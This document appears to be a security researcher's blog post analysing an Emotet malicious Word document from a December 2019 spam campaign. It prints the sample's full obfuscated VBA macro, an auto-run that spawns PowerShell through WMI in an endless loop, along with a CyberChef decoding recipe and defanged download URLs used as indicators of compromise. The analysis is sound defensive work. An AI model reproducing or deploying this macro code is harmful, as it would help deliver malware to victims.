Summary
Emotet is a modular malware delivery platform that has consistently dominated the commodity malware threat landscape over the past couple of years. It has evolved from a straightforward banking trojan into a full-fledged malware distribution service, delivering a variety of payloads for other threat actor groups. The U.S. Department of Homeland Security states that Emotet infections cost state and local governments up to $1 million to remediate. Emotet is operated by the threat group tracked as Mummy Spider.
On Friday 12-6-19, I saw a new spam campaign that included some abnormal behaviors from Emotet. The main process execution in this case remains pretty typical: a malicious Word document that is weaponized with macros is opened, which invokes a WMI process call that spawns a PowerhShell script. That script attempts to download the core binary from a quintet of URL resources.
The interesting new feature of the Emotet variants associated with this campaign was the inclusion of a “Do While” Loop within the VBA macro code that wrapped the WMI call and PowerShell process. Essentially, this loop adds the capability for the macro code to endlessly spawn PowerShell processes. As you might expect, this could cause quite an avalanche of alerts in certain detection platforms.
I hadn’t seen this particular feature before, and since this could potentially cause some messy detections, I thought I would take a look at the document and perform some basic static malware analysis. Let’s go!.
The Word DOC and how the VBA code is hidden
The sample we will be taking a look at was from December 6th.
- SHA256: 82d8447c9a16697893b2b2f973def8ec7f3052051fa7511592494d4455ab83da
First, I pulled down the malware sample from VirusTotal. The next thing to note is the document template itself. The threat actor has cycled through a variety of different of these formats since their return following an extended break over the summer. In this case we saw the “orange variant.” The delivery email likely contained some sort of social engineering pretext to convince the end-user to enable the macros and kick-off the infection chain.
First up, we want to open the Visual Basic editor within Microsoft Word to get our initial look at the VBA code and begin triage. Based on past analysis I’ve done in more detail here, I’m fairly confident there will be some hidden text boxes in our future….
There they are. We see the snippets of the PowerShell script that must be combined in order to execute and retrieve the payload. The text boxes are stored in a User Form, but the rest of the macro as we can see is in the VBA project under a Word Object and a Module. Extracting the VBA from those objects, we get the following, which is the full macro code:
Private Sub Document_open()
Niumxlormllct = Lcpcwvlsv
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
Niumxlormllct = Dlpngiqthud
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
Niumxlormllct = Ajrxevpcg
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
Mvbwwbhxrrdh
End Sub
Function Mvbwwbhxrrdh()
On Error Resume Next
Niumxlormllct = Twebjrzrwmb
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Jkwqqgowhcrs = "winmgmts:Win32_Process"
Niumxlormllct = Jdeykzchdut
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Csorvnabbklef = Jkwqqgowhcrs + ("STARTU")
Niumxlormllct = Kpfsvbdvbketw
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Mjaaahttpcrco = Csorvnabbklef + Itrzoctshfn.Tivoieiuloyy
Niumxlormllct = Jqnujszlrodt
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Set Mvbwwbhxrrdh = CreateObject((Mjaaahttpcrco))
Niumxlormllct = Lgutyakouc
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Mvbwwbhxrrdh.XSize = 0
Niumxlormllct = Drowvsfsh
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Mvbwwbhxrrdh.YSize = 0
Niumxlormllct = Lporqsnqcmsjy
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Do While CreateObject("winmgmts:Win32_Process").Create(Lrvqystnhdwq.Kyaibcwpmuhf, Diwywwspqjy, Mvbwwbhxrrdh)
Loop
Niumxlormllct = Pwueqavymqv
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
End Function
Function Kyaibcwpmuhf()
On Error Resume Next
Niumxlormllct = Ptbvxsgsd
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Uhcrgtrpou = Itrzoctshfn.Tivoieiuloyy
Niumxlormllct = Ouffehujmxc
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Jmfmbywvt = Uhcrgtrpou + Diyzpetmtomb.Roctiqgsqgvi + Diyzpetmtomb.Pngttczopvdc + Diyzpetmtomb.Wqimdjhfgaues
Niumxlormllct = Rrfqlfqj
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Srjyzpelmwpp = Jmfmbywvt + Diyzpetmtomb.Uecyolgptiwbw
Niumxlormllct = Kguqrghsiupnj
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
Kyaibcwpmuhf = Bjwarcdvgw + Srjyzpelmwpp + Bjwarcdvgw
Niumxlormllct = Rayguhuvmcjwy
Select Case Niumxlormllct
Case 241118429
MzXN1 = Niumxlormllct
NBnD22 = ChrW(865)
Case 9723
DUyy = Atn(LhnDHLR4 / 5)
UFmR = Fix(558)
Case 396
DJSX4rP = CDate(1 * 12 + 33 * CLng(RGcww * CByte(sTe) / CWWMn + Log(23)))
MjEA = Oct(vzAg3C9b)
End Select
For Each xpEx8 In LHefzNdl
MHtv = (TWex0QD5 / CDbl(ZAVc / 183 + 9518 / ChrW(MzCv1))) / FCKr7b - CDbl(23 - Chr(djTLW / CByte(23 - Hex(699)))) - 43 * CBool(4) / (jAnX7 * caTB788)
Set bpSvu6O0r = Niumxlormllct
Next
End Function
The macro’s contents includes a Sub and two Functions. Most of the code is junk and can be removed for analysis. Most of the variable assignments and all of the “Select Cases” are meaningless. After paring things down to a manageable chunk we get the following:
So clean-up gets us down to about 20 lines of relevant code that actually performs some operation.
The Sub calls the next Function on document open and builds the WMI call. The following functions uses some variable assignments that are initialized and filled with the data from the text box objects contained in the User Form as we saw above.
So this is much better, and we are almost there. Here we see an encoded PowerShell process being loaded by a WMI service. Just for good measure, we can go ahead and decode the base64 encoded chunk and derive the final PowerShell script. Recent variants haven’t been employing as much difficult obfuscation techniques as in the past, so in this case we really just need to decode the base64, an easy job for CyberChef:
After we drop the chunk of Base64 into CyberChef, we just need to decode and then remove the Null bytes. Then search for the URLs with regex and split on whatever flavor of delimiter is being used by the particular variant. This is often “@” or “*”, but YMMV. Here is the recipe I used for this obfuscation style.
From_Base64('A-Za-z0-9+/=',true)
Remove_null_bytes()
Regular_expression('URL','([A-Za-z]+://)([-\\w]+(?:\\.\\w[-\\w]*)+)(:\\d+)?(/[^.!,?"<>\\[\\]{}\\s\\x7F-\\xFF]*(?:[.!,?]+[^.!,?"<>\\[\\]{}\\s\\x7F-\\xFF]+)*)?',true,true,false,false,false,false,'List matches')
Split('*','\\n')
So that’s it, a quick look at one of Emotet’s new maldoc downloaders. It will be interesting to see if this technique is continued to be used going forward. If anyone has any thoughts about the purpose of this, please leave a comment below. I will try to update on this as it develops or changes as we move into the expected lull that typically accompanies the holiday season.
IOCs
hxxp://www.rjo[.]com/6pqamy4/2ag/
hxxp://air-o-trip[.]com/wp-admin/NG2/
hxxp://inf.awwthings[.]com/wp-admin/o6l/
hxxps://karyakreasindo[.]com/wp-content/9zt/
hxxps://gemstatedev[.]com/wp-admin/nc/
References
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/
https://www.virustotal.com/gui/file/82d8447c9a16697893b2b2f973def8ec7f3052051fa7511592494d4455ab83da/detection
https://security-soup.net/analysis-of-a-new-emotet-maldoc-with-vba-downloader/
https://gchq.github.io/CyberChef/